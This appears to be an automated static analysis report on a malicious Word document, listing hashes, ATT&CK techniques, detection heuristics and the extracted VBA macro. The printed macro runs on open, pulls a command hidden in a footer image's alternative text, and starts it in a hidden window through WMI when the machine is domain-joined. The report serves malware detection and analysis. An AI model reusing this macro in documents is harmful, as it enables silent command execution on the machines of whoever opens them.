Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 4109b3297380ca8a…

MALICIOUS

Office (OLE)

38.0 KB Created: 2017-12-19 13:03:00 Authoring application: Microsoft Office Word First seen: 2017-12-24
MD5: ba700157fbe6ed39020dc3c657c413eb SHA-1: 80b9b87672911e90d8750f5e081efe54c17f9fed SHA-256: 4109b3297380ca8aa74e7cac02ce5c43550afc238f1293a74daea3bfd5731e2c
270 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The sample contains VBA macros with AutoOpen and Auto_Open subroutines, indicating an attempt to automatically execute code upon opening. The script uses GetObject to interact with WMI's Win32_Process to create a new process, specifically attempting to launch 'calc.exe'. This is a common technique for executing arbitrary commands or payloads.

Heuristics 9

  • VBA macros detected medium 6 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA WMI Win32_Process launcher critical OLE_VBA_WMI_PROCESS_CREATE
    VBA macro builds or references a WMI moniker for Win32_Process and invokes .Create to start a command. This is a high-confidence macro execution chain that often hides the WMI class name through string concatenation or helper functions.
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Auto_Open macro high OLE_VBA_AUTO
    Auto_Open macro
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 861 bytes
SHA-256: c0db14a1d3bdc3133bd5785f26bd1ac88c808032e9d8ee627e923726094d7fcc
Preview script
First 1,000 lines of the extracted script
bute VB_Name = "ThisDocument"
     bute VB_Base = "1Normal.ThisDocument"
     bute VB_GlobalNameSpace = False
     bute VB_Creatable = False
     bute VB_PredeclaredId = True
     bute VB_Exposed = True
     bute VB_TemplateDerived = True
     bute VB_Customizable = True

     bute VB_Name = "MyDocument"

Public Function vHAdq() As Variant
    Dim f As S   ng
    f = ActiveDocument.Sections(1).Footers(1).Range.InlineShapes(1).AlternativeText
    f = clean(f)
    Set s = GetObject("winmgmts:\\.\root\cimv2").Get("Win32_ProcessStartup")
    Set c = s.SpawnInstance_
    c.ShowWindow = 0
    Call GetObject("winmgmts:\\.\root\cimv2:Win32_Process").Create(f, Null, c, i)
End Function

Sub Auto_Open()
    If Not Environ("USERDNSDOMAIN") = "" Then
        Call vHAdq
    End If
End Sub
Sub AutoOpen()
    Auto_Open
End Sub

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